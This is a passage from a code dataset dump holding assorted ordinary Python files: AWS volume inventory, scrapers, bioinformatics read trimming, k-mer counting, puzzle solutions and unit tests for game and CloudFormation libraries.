volume-info into SQL\ndef ebsMysql(insertData):\n    # dbconn = DbConnect(DbCnctInfo('testclt'))\n    # cursor = dbconn.cursor()\n\n    # Define INSERT-string to pass to MySQL\n    # and associated value-mapping \n    insert_struct = (\n        \"INSERT INTO Volume \"\n\t\"(\"\n\t  \"AccountId, \"\n          \"instanceId, \"\n          \"attachmentSet, \"\n          \"availabilityZone, \"\n          \"encrypted, \"\n          \"iops, \"\n          \"kmsKeyId, \"\n          \"size, \"\n          \"snapshotId, \"\n          \"status, \"\n          \"tagSet, \"\n          \"volumeId, \"\n          \"volumeType\"\n\t\") \"\n\t\"VALUES (\"\n\t  \"%(AccountId)s, \"\n          \"%(instanceId)s, \"\n          \"%(attachmentSet)s, \"\n          \"%(availabilityZone)s, \"\n          \"%(encrypted)s, \"\n          \"%(iops)s, \"\n          \"%(kmsKeyId)s, \"\n          \"%(size)s, \"\n          \"%(snapshotId)s, \"\n          \"%(status)s, \"\n          \"%(tagSet)s, \"\n          \"%(volumeId)s, \"\n          \"%(volumeType)s\"\n\t\"); \"\n    )\n\n    # Extract values from passed-EBS structure\n    instance = insertData.keys()[0]\n    for volume in insertData[instance]:\n        volMount = insertData[instance][volume]['Mount']\n        volIops = insertData[instance][volume]['IOPS']\n        if volIops is None:\n            volIops = 0\n        volType = insertData[instance][volume]['Type']\n        volSize = insertData[instance][volume]['Size']\n        volZone = insertData[instance][volume]['AZ']\n        volTags = insertData[instance][volume]['Tags']\n\n        # Define mappings to SQL-managed values\n        insert_data = {\n\t        'AccountId'\t\t: AWSaccount,\n                'instanceId'\t\t: instance,\n                'attachmentSet'\t\t: volMount,\n                'availabilityZone'\t: volZone,\n                'createTime'\t\t: '',\n                'encrypted'\t\t: '0',\n                'iops'\t\t\t: volIops,\n                'kmsKeyId'\t\t: '',\n                'size'\t\t\t: volSize,\n                'snapshotId'\t\t: '',\n                'status'\t\t: '',\n                'tagSet'\t\t: volTags,\n                'volumeId'\t\t: volume,\n                'volumeType'\t\t: volType\n\t    }\n\n        # Insert row into Volume table\n        print('Writing volume \\'%s\\' for instance \\'%s\\' to Volume table' % (volume, instance))\n        cursor.execute(insert_struct, insert_data)\n        dbconn.commit()\n\n\n############################\n# Commandline option-handler\nparseit = argparse.ArgumentParser()\n\nparseit.add_argument(\"-r\", \"--region\",\n                     choices = ValidRegion(),\n                     help=\"AWS Region\",\n                     required=True)\nparseit.add_argument(\"-k\", \"--key\",\n                     help=\"AWS access-key ID\")\nparseit.add_argument(\"-s\", \"--secret\",\n                     help=\"AWS access-key secret\")\nparseit.add_argument(\"-t\", \"--target-account\",\n                     help=\"AWS account to manage\",\n                     required=True)\n\n# Assign CLI argument-values to fetchable name-space\nargs = parseit.parse_args()\n\nAWSaccount = args.target_account\n\n# Initialize session/connection to AWS\nsession = boto3.Session(\n    region_name = args.region,\n    aws_access_key_id = args.key,\n    aws_secret_access_key = args.secret\n)\n\n# Initialize connection to MySQL\ndbconn = DbConnect(DbCnctInfo('testclt'))\ncursor = dbconn.cursor()\n\n# Create list of in-region instances to stop\nfor inst in GetInstances(args):\n    instVols = GetEBSvolInfo(inst)\n    ebsMysql(instVols)\n\n\n# Clean up connection to MySQL\ncursor.close()\ndbconn.close()\n","sub_path":"GetEBS.py","file_name":"GetEBS.py","file_ext":"py","file_size_in_byte":5331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"16684615","text":"import bisect\n\ns = int(input())\nn = int(input())\n\ne = [False for i in range(0, s)]\nv = [int(input()) for i in range(0, n)]\nfor t in v:\n    if t < s:\n        e[t] = True\n\nv = sorted(v)\nz = [a + b for (a, b) in zip(v[0:n - 1], v[1:n])]\n\n\ndef solve(i):\n    r = s - v[i]\n    a = bisect.bisect_left(v, r - v[n - 1], lo=i + 1)\n    b = bisect.bisect_right(z, r, lo=a)\n    return [e[r - w] for w in v[a:b]].count(True)\n\nprint(sum([solve(i) for i in range(0, n - 2)]))\n","sub_path":"source/archives/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"569755206","text":"#kelly j 9-26-2020  learn together week 9, step 2.  setting upa virtual enviroment\n#I am gong to install into my virtual enviroment 2 libraries. beautifulsoup4 and lxml\n# so I can read a xml and print something from it.\n#I modifed code from this url  https://www.geeksforgeeks.org/reading-and-writing-xml-files-in-python/\n# to demostrate my virtual env.\n\nfrom bs4 import BeautifulSoup  \n\nwith open(\"h82sl_serviceConfig.xml\",\"r\") as myconfig:\n    myconfigData = myconfig.read()\n\n    config = BeautifulSoup(myconfigData,\"lxml\")\n\n    print(\" \")\n    theurl = config.find(\"hansen_url\")\n    thelogpath = config.find(\"hansen_logpath\")\n    print(theurl)\n    print(thelogpath)\n    # print(config.Hansen_URL)\n    # print(myconfigData)","sub_path":"w9/readaxml.py","file_name":"readaxml.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"578214217","text":"\n\nimport os, sys\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n# This is so Django knows where to find stuff.\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"gerenciador.settings\")\nsys.path.append(BASE_DIR)\n# This is so my local_settings.py gets loaded.\nos.chdir(BASE_DIR)\n# This is so models get loaded.\nfrom django.core.wsgi import get_wsgi_application\napplication = get_wsgi_application()\n\nfrom revisao_app.models import FlashCard, Materia\nfrom django.contrib.auth.models import User\nfrom django.contrib import admin\nfrom datetime import date, timedelta\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nimport matplotlib.cbook as cbook\nimport json\n\ndef calculoIdade(born):\n    today = date.today()\n    return today.year - born.year - ((today.month, today.day) < (born.month, born.day))\n\ndef getDate():\n    return date.today().strftime(\"%d/%m/%Y\")\n\ndef getDateVcto():\n    data_vencimento = date.today()\n    data_vencimento = data_vencimento.replace(year=data_vencimento.year+1)\n    return data_vencimento.strftime(\"%d/%m/%Y\")\n\ndef getDateProxRevisao(n_day,dataV):\n    data_vencimento = dataV\n    data_vencimento += timedelta(days=int(n_day))\n    print(data_vencimento,\"  \",n_day)\n    return data_vencimento\n\ndef dadosGrafico(listaStor):\n    _dados = {'date':[],'peso':[]}\n    for item in listaStor:\n        _dados['peso'].append(str(item.n_peso))\n        _dados['date'].append(str(item.data_registro))\n\n    return json.dumps(_dados)\n\ndef dadosGraficoAll(listaStor):\n    _dados = {'registro':[],'peso':[]}\n\n\n    for item in listaStor:\n        _dados['peso'].append(str(item.n_peso))\n        texto = item.numero_registro+' - '+str(item.tipo_animal)\n        _dados['registro'].append(texto)\n\n    return json.dumps(_dados)\n\n\n\ndef createOptionMateria(user):\n\n    materias = Materia.objects.filter(usuario=user)\n    lista1 = []\n    for materia in materias:\n        lista1.append((materia,materia))\n\n    mytuple = tuple(lista1)\n    return mytuple\n","sub_path":"revisao_app/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"455167086","text":"from splinter import Browser\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\nimport pandas as pd \r\n\r\n\r\ndef init_browser():\r\n    # @NOTE: Replace the path with your actual path to the chromedriver\r\n    executable_path = {'executable_path': 'chromedriver.exe'}\r\n    return Browser(\"chrome\", **executable_path, headless=False)\r\n\r\n\r\ndef scrape_info():\r\n    browser = init_browser()\r\n\r\n    # Visit visitcostarica.herokuapp.com\r\n    url = \"https://mars.nasa.gov/news/\"\r\n    browser.visit(url)\r\n\r\n    time.sleep(1)\r\n\r\n    # Scrape page into Soup\r\n    html = browser.html\r\n    soup = BeautifulSoup(html, \"html.parser\")\r\n    title = soup.find_all(\"div\", class_ = \"content_title\")\r\n    title_text = title[1].get_text()\r\n    paragraph = soup.find_all(\"div\", class_ = \"article_teaser_body\")\r\n    paragraph_text = paragraph[0].get_text()\r\n    url = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars'\r\n    browser.visit(url)\r\n    image = browser.find_by_id(\"full_image\")\r\n    image.click()\r\n    info = browser.find_link_by_partial_text(\"more info\")\r\n    info.click()\r\n    html = browser.html\r\n    soup = BeautifulSoup(html, 'html.parser')\r\n    image = soup.select_one(\"figure.lede a img\")\r\n    src = image.get('src')\r\n    url = 'https://www.jpl.nasa.gov'\r\n    src = url + src\r\n    mars_scrape = pd.read_html(\"https://space-facts.com/mars/\")\r\n    mars_table = mars_scrape[0]\r\n    mars_html = mars_table.to_html()\r\n    url = \"https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars\"\r\n    browser.visit(url)\r\n    links = browser.find_by_css(\"a.product-item h3\") \r\n    j= 0\r\n    images = []\r\n    for i in links:\r\n        browser.find_by_css(\"a.product-item h3\")[j].click()\r\n        link = browser.find_link_by_text(\"Sample\").first[\"href\"]\r\n        images.append(link)\r\n        j = j+1\r\n        browser.back()\r\n    print(src)\r\n\r\n    # Store data in a dictionary\r\n    mars_data = {\r\n        \"title\": title_text,\r\n        \"paragraph\": paragraph_text,\r\n        \"image\": src,\r\n        \"table\": mars_html,\r\n        \"images\": images\r\n    }\r\n\r\n    # Close the browser after scraping\r\n    browser.quit()\r\n\r\n    # Return results\r\n    return mars_data\r\n","sub_path":"scrape_mars.py","file_name":"scrape_mars.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"602466581","text":"import os,sys,math\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nos.chdir('C:\\\\Users\\\\Apoorva Lal\\\\Desktop\\\\Research\\\\temp')\n\nimport json\nfrom collections import defaultdict, Counter\npath = 'C:/Users/Apoorva Lal/Desktop/Research/github_forks/pydata-book/ch02/usagov_bitly_data2012-03-16-1331923249.txt'\nrecords = [json.loads(line) for line in open(path)]           \ntime_zones = [rec['tz'] for rec in records if 'tz' in rec]\ntime_zones\n\ndef get_counts(sequence):\n    counts = defaultdict(int) # values will initialize to 0\n    for x in sequence:\n        counts[x] += 1\n    return counts\n    \ncounts = get_counts(time_zones)    \n\ndef top_counts(count_dict, n=10):\n    value_key_pairs = [(count, tz) for tz, count in count_dict.items()]\n    value_key_pairs.sort()\n    return value_key_pairs[-n:]\n\ntop_counts(counts)\n\ncounts = Counter(time_zones)\ncounts.most_common(10)\n\nframe = pd.DataFrame(records)\n\nframe['tz'][:10]\ntz_counts = frame['tz'].value_counts()\n\nclean_tz = frame['tz'].fillna('Missing')\nclean_tz[clean_tz == ''] = 'Unknown'\ntz_counts = clean_tz.value_counts()\n\ntz_counts[:10].plot(kind='barh', rot=0)\n\nresults = pd.Series([x.split()[0] for x in frame.a.dropna()])\n\nresults.value_counts()[:8]\n\ncframe = frame[frame.a.notnull()]\noperating_system = np.where(cframe['a'].str.contains('Windows'),\n 'Windows', 'Not Windows')\n\noperating_system[:5]\nby_tz_os = cframe.groupby(['tz', operating_system])\nagg_counts = by_tz_os.size().unstack().fillna(0)\nagg_counts\nindexer = agg_counts.sum(1).argsort()\nindexer[:10]\n\ncount_subset = agg_counts.take(indexer)[-10:]\ncount_subset.plot(kind='barh', stacked=True)\nplt.show() \n\n\n\n\n","sub_path":"mckinney_book.py","file_name":"mckinney_book.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"164113992","text":"from __future__ import barry_as_FLUFL\n\n__all__ = ['read1', 'read2', 'trimmed1', 'un_trimmed1', 'trimmed2', 'un_trimmed2', 'min_read_len',\n           'common_seq1', 'common_seq2', 'stats_file', 'logger_trim_process', 'logger_trim_errors']\n__version__ = '1.0'\n__author__ = 'Maggie Ruimin Sun'\n\nimport logging\nimport os\nimport re\nimport sys\nimport time\nimport gzip\nimport itertools\nimport shlex\nimport subprocess\nimport numpy\n\nsys.path.append(\"..\")\nfrom pipelines.log.log_v1 import store_trim_logs\n\n\nbase_paired = {'A': 'T', 'T': 'A', 'C': 'G', 'G': 'C'}\n#--\ndef reverse_complement(seq):\n    revseqlist = reversed(seq)\n    revcomseqlist = [base_paired[k] for k in revseqlist]\n    revcomseq = ''.join(revcomseqlist)\n    return revcomseq\n\n# put the info output to the log\ndef stdout_err(command):\n    command_pope = shlex.split(command)\n    child = subprocess.Popen(command_pope, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)\n    stdout, stderr = child.communicate()\n    child.wait()\n    return stdout, stderr\n\n\n# ----------------------------------------------------------\ndef read_fq(file_name, logger_trim_process, logger_trim_errors):\n    if not os.path.isfile(file_name):\n        logger_trim_errors.error(\"%s does not exist!\\n\", file_name)\n        print(file_name + ' does not exist!')\n    if re.search('.gz$', file_name):\n        fastq = gzip.open(file_name, 'r')\n    else:\n        fastq = open(file_name)\n\n    with fastq as f:\n        while True:\n            l1 = str(f.readline(), 'utf-8')\n            if not l1:\n                break\n            l2 = str(f.readline(), 'utf-8')\n            l3 = str(f.readline(), 'utf-8')\n            l4 = str(f.readline(), 'utf-8')\n            yield [l1, l2, l3, l4]\n\n\ndef trim_read1(r1, common_seq2, mt_barcode):\n    l1 = len(r1[1].strip())\n    r1_end3 = r1[1].strip()[(l1 - 23):]\n    # trim_seq = common_seq2 + mt_barcode\n    trim_seq = reverse_complement(common_seq2 + mt_barcode)\n    for i in range(23):\n        if r1_end3[i:] == trim_seq[0:(23 - i)]:\n            break\n    pos_trim_r1 = l1 - 23 + i\n    return pos_trim_r1, [r1[0], r1[1].strip()[0:pos_trim_r1] + '\\n', r1[2], r1[3].strip()[0:pos_trim_r1] + '\\n']\n\n\ndef trim_read2(r2, common_seq1):\n    l2 = len(r2[1].strip())\n    r2_end3 = r2[1].strip()[(l2 - 21):]\n    for i in range(21):\n        if r2_end3[i:] == common_seq1[0:(21 - i)]:\n            break\n    pos_trim_r2 = l2 - 21 + i\n    return pos_trim_r2, [r2[0], r2[1].strip()[0:pos_trim_r2] + '\\n', r2[2], r2[3].strip()[0:pos_trim_r2] + '\\n']\n\n\ndef trim_read_pairs(read1, read2, trimmed1, trimmed2, min_read_len, common_seq1,\n                    common_seq2, stats_file, logger_trim_process, logger_trim_errors):\n    time_start = time.time()\n    num_total_reads = 0\n    num_short_reads = 0\n    num_error_reads1 = 0\n    num_error_reads2 = 0\n    fout1 = open(trimmed1, 'w')\n    fout2 = open(trimmed2, 'w')\n    # fout_umi = open(trimmed2 + '.umi.fq', 'w')\n    for r1, r2 in zip(read_fq(read1, logger_trim_process, logger_trim_errors),\n                      read_fq(read2, logger_trim_process, logger_trim_errors)):\n        num_total_reads += 1\n        if r1[0][0] != '@' or r2[0][0] != '@':\n            num_error_reads1 += 1\n            store_trim_logs('null', logger_trim_errors,\n                            \"Error read pair: \\n\\t\" + '\\t'.join(r1) + '\\n\\t' + '\\t'.join(r2) + '\\n')\n        else:\n            start_common = r2[1].find(common_seq2)\n            if start_common < 12:\n                num_error_reads2 += 1\n                store_trim_logs('null', logger_trim_errors,\n                                \"Error barcode/common seqs:\" + str(start_common)\n                                + \"\\n\\t\" + '\\t'.join(r1) + '\\n\\t' + '\\t'.join(r2) + '\\n')\n            else:\n                umi = r2[1][(start_common - 12):start_common]\n                qua = r2[3][(start_common - 12):start_common]\n                # delete umi with low base quality \n                quanum = list(map(ord, qua))\n                quanum = [i - 33 for i in quanum]\n                # if the median base quality is bigger than Q20 \n                if numpy.median(quanum) < 20 :\n                    num_error_reads2 += 1\n                    store_trim_logs('null', logger_trim_errors,\n                                \"Error barcode/common seqs:\" + str(start_common)\n                                + \"\\n\\t\" + '\\t'.join(r1) + '\\n\\t' + '\\t'.join(r2) + '\\n')\n                else:\n                    r2[1] = r2[1][(start_common + 11):]\n                    r2[3] = r2[3][(start_common + 11):]\n                    pos_trim_r1, r1 = trim_read1(r1, common_seq2, umi)\n                    pos_trim_r2, r2 = trim_read2(r2, common_seq1)\n                    if pos_trim_r1 < min_read_len or pos_trim_r2 < min_read_len:\n                        num_short_reads += 1\n                        store_trim_logs('null', logger_trim_errors,\n                                    \"Short read pair: \\n\\t\" + '\\t'.join(r1) + '\\n\\t' + '\\t'.join(r2) + '\\n')\n                    else:\n                        h1 = r1[0].split(' ')[0] + '_' + umi + ' ' + r1[0].split(' ')[1]\n                        h2 = r2[0].split(' ')[0] + '_' + umi + ' ' + r2[0].split(' ')[1]\n                        fout1.write(h1 + r1[1] + r1[2] + r1[3])\n                        fout2.write(h2 + r2[1] + r2[2] + r2[3])\n                    #h1 = r1[0].split(' ')[0] + '_' + umi + ' ' + r1[0].split(' ')[1]\n                    #h2 = r2[0].split(' ')[0] + '_' + umi + ' ' + r2[0].split(' ')[1]\n                    #fout1.write(h1 + r1[1] + r1[2] + r1[3])\n                    #fout2.write(h2 + r2[1] + r2[2] + r2[3])\n                    #quanum = list(map(ord, qua))\n                    #quanum = [i - 33 for i in quanum]\n                    #quanumstr = '\\t'.join(list(map(str, quanum)))\n                    #fout_umi.write(''.join([r1[0].split(' ')[0], '_', umi, '\\t', umi, '\\t', quanumstr, '\\n']))\n                    #fout_umi.write(h2 + umi + '\\n' +  '+\\n' + qua + '\\n')\n    fout1.close()\n    fout2.close()\n    # fout_umi.close()\n    stats_out = open(stats_file, 'w')\n    stats_out.write('Total number of reads == ' + str(num_total_reads) + '\\n')\n    stats_out.write('Number of short reads (either read_length <{0}bp) == {1}\\n'.format(\n        min_read_len, num_short_reads))\n    stats_out.write('Number of unproper read pairs (containing incorrect headers) == ' + str(num_error_reads1) + '\\n')\n    stats_out.write('Number of read pairs without correct common sequences/MTs == ' + str(num_error_reads2) + '\\n')\n    stats_out.write('The time of trimming is %s minutes.' % str((time.time() - time_start) / 60))\n    stats_out.close()\n\n\ndef trim_read_pairs_by_trimmomatic(trimmomatic_dir,\n                                   read1, read2, \n                                   trimmed1, un_trimmed1,\n                                   trimmed2, un_trimmed2,\n                                   min_read_len,\n                                   stats_file, logger_trim_process,\n                                   logger_trim_errors):\n    if not os.path.isfile(read1):\n        store_trim_logs(logger_trim_process,'null', read1 + ' does not exist!' + '\\n')\n        store_trim_logs(logger_trim_process,'null', 'Error: cannot find NGS read file!' + '\\n')\n        exit()\n    if not os.path.isfile(trimmomatic_dir):\n        store_trim_logs(logger_trim_process,'null', trimmomatic_dir + ' does not exist!' + '\\n')\n        store_trim_logs(logger_trim_process,'null', 'Error: cannot find trimmomatic.jar!' + '\\n')\n        exit()\n    command = 'java -jar {0} PE -threads 1 -phred33 -summary {1} {2} {3} {4} {5} {6} {7} ' \\\n              'ILLUMINACLIP:{8}:2:30:10 LEADING:5 TRAILING:5 SLIDINGWINDOW:4:20 MINLEN:{9} '.format(\n        trimmomatic_dir, stats_file, read1, read2, trimmed1, un_trimmed1, trimmed2, un_trimmed2,\n        os.path.dirname(trimmomatic_dir) + '/adapters/TruSeq3-PE.fa', min_read_len)\n    stdout, stderr = stdout_err(command)\n    store_trim_logs(logger_trim_process, 'null', stdout)\n    store_trim_logs('null', logger_trim_errors, stderr)\n","sub_path":"pipelines/trim/trim_reads_v1.py","file_name":"trim_reads_v1.py","file_ext":"py","file_size_in_byte":8029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"196773624","text":"def max_even_seq(n):\n    tempEven = 0  # will be used to save the length new sequence while iterating\n    longstEven = 0  # the length longest even sequence untill now\n    for i in str(n):  # iterating (n) as a string\n        if int(i) % 2 == 0:  # checks if the cuurent number is even\n            tempEven += 1  # counts the lengh of the current seque\n        elif tempEven != 0:  # if the number is odd, and tempEven is not = 0, then tempEven = 0.\n            tempEven = 0\n        if tempEven > longstEven:  # if a longer sequence is found, it's length is saved\n            longstEven = tempEven\n    return longstEven\n\n\n","sub_path":"max_even_seq/subs/2017B/21.py","file_name":"21.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"24955808","text":"import unittest\nfrom troposphere import GetAtt, Template, Join\nfrom troposphere.awslambda import Code, Function\n\n\nclass TestAWSLambda(unittest.TestCase):\n    def test_exclusive(self):\n        lambda_func = Function(\n            \"AMIIDLookup\",\n            Handler=\"index.handler\",\n            Role=GetAtt(\"LambdaExecutionRole\", \"Arn\"),\n            Code=Code(\n                S3Bucket=\"lambda-functions\",\n                S3Key=\"amilookup.zip\",\n            ),\n            Runtime=\"nodejs\",\n            Timeout=\"25\",\n        )\n        t = Template()\n        t.add_resource(lambda_func)\n        t.to_json()\n\n    def test_zip_file(self):\n        lambda_func = Function(\n            \"AMIIDLookup\",\n            Handler=\"index.handler\",\n            Role=GetAtt(\"LambdaExecutionRole\", \"Arn\"),\n            Code=Code(\n                ZipFile=Join(\"\", [\n                    \"var response = require('cfn-response');\",\n                    \"exports.handler = function(event, context) {\",\n                    \"  var input = parseInt(event.ResourceProperties.Input);\",\n                    \"  var responseData = {Value: input * 5};\",\n                    \"  response.send(\"\n                    \"    event, context, response.SUCCESS, responseData\"\n                    \"  );\",\n                    \"};\"\n                ]),\n            ),\n            Runtime=\"nodejs\",\n            Timeout=\"25\",\n        )\n        t = Template()\n        t.add_resource(lambda_func)\n        t.to_json()\n\nif __name__ == '__main__':\n    unittest.main()\n","sub_path":"tests/test_awslambda.py","file_name":"test_awslambda.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"589498222","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pickle as pkl\nfrom .smit import SimIter\n\nrs = []\ntime = np.array(0)\npos = np.array(0.3)\nvel = np.array(0)\nsm = SimIter()\nfor r in sm:\n    rs.append(r)\n    print('Altitude: {:.3f} Velocity: {:.3f} Time: {:.1f}'.format(r.position, r.velocity, sm.envstate.time))\n    time = np.append(time, sm.envstate.time)\n    pos = np.append(pos, r.position)\n    vel = np.append(vel, r.velocity)\nplt.figure(1)\nplt.plot(time, pos, '.')\nplt.plot(time, vel, '.')\nplt.xlabel('Time (s)')\nplt.ylabel('Altitude (m)')\nplt.title('1 DOF Rocket Simulation')\nplt.show()\ninput()\n\npkl.dump(rs, open(\"firstrun.pkl\", \"wb\"))\n","sub_path":"simulator/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"341010425","text":"'''\nSome auxiliary functions to check on, and run jellyfish\n'''\n\nimport distutils.version\nimport os\nimport shlex\nimport subprocess\nimport sys\nimport pandas\nimport numpy as np\nimport progressbar\n\njellyfish_min_version = \"2.2.4\"\n\nbar = progressbar.ProgressBar()\n\ndef run(cmd):\n    '''\n    Process generator\n    '''\n    print(\"Running: {}\".format(cmd), file = sys.stderr)\n    #p = subprocess.Popen(shlex.split(cmd), stdout = subprocess.PIPE, stderr = subprocess.PIPE)\n    #out, err = p.communicate()\n    p = subprocess.check_call(cmd, shell = True)\n    return 0\n\ndef read_table(sample_id, make_binary = True):\n    '''\n    Quickly read a table of kmer counts\n\n    With make_binary, the output is always 0,1. But that can change later\n    '''\n    tab = pandas.read_csv(\"{}.txt\".format(sample_id), delimiter = '\\t', names = ['kmer', '{}'.format(sample_id)])\n    if make_binary:\n        tab[sample_id] = np.where(tab[sample_id] > 0, 1, 0)\n    return tab\n\ndef join_tables(master, new_table, on):\n    '''\n    Quickly join two tables on column ON\n    '''\n    return pandas.merge(master, new_table, on = on, sort = False)\n\ndef find_var_rows(row):\n    return np.count_nonzero(row) < len(row)\n\nclass JellyFish:\n    def __init__(self, force = False):\n        self.cmd = ''\n        self.version = ''\n        self.force = force\n    def exists(self):\n        try:\n            p = subprocess.Popen(shlex.split('jellyfish --version'), stdout = subprocess.PIPE, stderr = subprocess.PIPE)\n            out,err = p.communicate()\n            cmd,version = out.split()\n            self.cmd = cmd.decode()\n            self.version = version.decode()\n            if distutils.version.LooseVersion(self.version) >= distutils.version.LooseVersion(jellyfish_min_version):\n                print(\"Found jellyfish version {}.... OK!\".format(self.version))\n            else:\n                raise ValueError(\"Version of jellyfish found is less than {}, please update to run dingo\".format(min_version))\n        except ValueError:\n            print(\"Did not find jellyfish on the path.\")\n    def __build_input(self, path, clear = False):\n        if clear:\n            gen = open(\"generator.txt\", 'w')\n        else:\n            gen = open(\"generator.txt\", 'a')\n        path = os.path.abspath(path)\n        if path.endswith('.gz'):\n            gen.write(\"gunzip -c {}\\n\".format(path))\n        else:\n            gen.write(\"cat {}\\n\".format(path))\n        gen.close()\n        return\n    def count_all_mers(self, tab, ksize, hash_size, threads = 16, output_file = 'allcount', min_number = 10, simult_read = 2, n_bytes = 1):\n        cmd = self.cmd + ' count -s {} -m {} -G {} --out-counter-len {} -C -L {} -o {} -g {} -t {}'.format(hash_size, ksize, simult_read, n_bytes, min_number, output_file, 'generator.txt', threads)\n        for s in tab:\n            self.__build_input(s[3])\n        p = run(cmd)\n        cmd = self.cmd + ' dump -o {0}.fa {0}'.format(output_file)\n        p = run(cmd)\n    def count_ind_mers(self, tab, ksize, hash_size, threads = 16, infile = 'allcount.fa', min_number = 10, simult_read = 2, n_bytes = 1):\n        for s in bar(tab):\n            output_file = s[0]\n            if os.path.exists(\"{}.txt\".format(output_file)) and not self.force:\n                print(\"File {}.txt already exists... Skipping kmer counting!\".format(output_file))\n            else:\n                self.__build_input(s[3], clear = True)\n                cmd = self.cmd + ' count -s {} -m {} -G {} --out-counter-len {} -C -o {}.jf --if {} -g {} -t {}'.format(hash_size, ksize, simult_read, n_bytes, output_file, infile, \"generator.txt\", threads)\n                p = run(cmd)\n                cmd = self.cmd + ' dump -ct -o {0}.txt {0}.jf'.format(output_file)\n                p = run(cmd)\n    def join_counts(self, tab, pickle = True):\n        master = read_table(tab[0][0])\n        for s in tab[1:]:\n            master = join_tables(master, read_table(s[0]), on = 'kmer')\n        master = master.loc[master.apply(find_var_rows, axis = 1),] # remove kmers present in all samples\n        master = master.transpose()\n        print(\"Found {} variable kmers.\".format(master.shape[1]), file = sys.stderr)\n        if pickle:\n            master.to_pickle(\".kmer_table.pickle\")\n        master = master.values\n        return [master[1:], master[0]]\n    def load_kmertable(self, pickle_file = \".kmer_table.pickle\"):\n        master = pandas.read_pickle(pickle_file)\n        master = master.values\n        return [master[1:], master[0]]\n","sub_path":"dingo/jellyfish.py","file_name":"jellyfish.py","file_ext":"py","file_size_in_byte":4481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"297751251","text":"import http.client\n\n\ndef main():\n    try:\n        connection = http.client.HTTPConnection('127.0.0.1', '6002')\n        connection.request('GET', '/')\n    except ConnectionRefusedError as e:\n        print(str.format('[#] <{}> exception: {}', type(e), e))\n\n    print(str.format('[*] {}', issubclass(ConnectionRefusedError, OSError)))\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"spl/http_package/client1.py","file_name":"client1.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"291245970","text":"import networkx as nx\n\ndef add_planet(graph, input):\n    inner = input[:input.find(')')]\n    outer = input[input.find(')') + 1:]\n    if (inner not in graph):\n        graph.add_node(inner)\n    if (outer not in graph):\n        graph.add_node(outer)\n    graph.add_edge(inner, outer)\n\ndef get_indirect_orbits(graph, node, ctr):\n    if (len(list(graph.successors(node))) == 0):\n        return (0)\n    else:\n        node_list = list(graph.successors(node))\n        ctr += len(node_list)\n        for elem in node_list:\n            ctr += get_indirect_orbits(graph, elem, 0)\n        return (ctr)\n\nif __name__ == \"__main__\":\n    G = nx.DiGraph()\n\n    for _ in range(2306):\n        input_line = input()\n        add_planet(G, input_line)\n    nodes = G.nodes()\n    edges = G.edges()\n    indirect_orbits = 0\n    for node in nodes:\n        indirect_orbits += get_indirect_orbits(G, node, 0)\n    planet_you = list(G.predecessors('YOU'))\n    planet_san = list(G.predecessors('SAN'))\n    print(indirect_orbits)\n    G = G.to_undirected()\n    print(len(nx.bidirectional_shortest_path(G, planet_you[0], planet_san[0])) - 1)\n","sub_path":"Day06/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"15494886","text":"import pytest\nfrom gamegym.strategy import UniformStrategy, FixedStrategy\nfrom gamegym.distribution import Explicit\nfrom gamegym.utils import get_rng\nfrom gamegym.games.matrix import *\n\n\ndef test_base():\n    gs = [\n        PrisonersDilemma(),\n        GameOfChicken(),\n        RockPaperScissors(),\n        MatchingPennies(),\n        MatrixZeroSumGame([[1, 3], [3, 2], [0, 0]], [\"A\", \"B\", \"C\"], [0, 1]),\n        MatrixGame([[1], [2], [3]], [[\"A1\", \"A2\", \"A3\"]]),\n        MatrixGame(np.zeros([2, 4, 5, 3], dtype=np.int32)),\n    ]\n    for g in gs:\n        s = g.initial_state()\n        assert not s.is_terminal()\n        assert s.player() == 0\n        assert len(s.actions()) == g.m.shape[0]\n        repr(s)\n        repr(g)\n    g = RockPaperScissors()\n    s = g.initial_state().play(\"R\").play(\"P\")\n    assert s.is_terminal()\n    print(s.history, s.values())\n    assert ((-1, 1) == s.values()).all()\n\n\ndef test_strategies():\n\n    g = RockPaperScissors()\n    rng = get_rng(seed=41)\n    s1 = [UniformStrategy(), UniformStrategy()]\n    v1 = np.mean(\n        [g.play_strategies(s1, 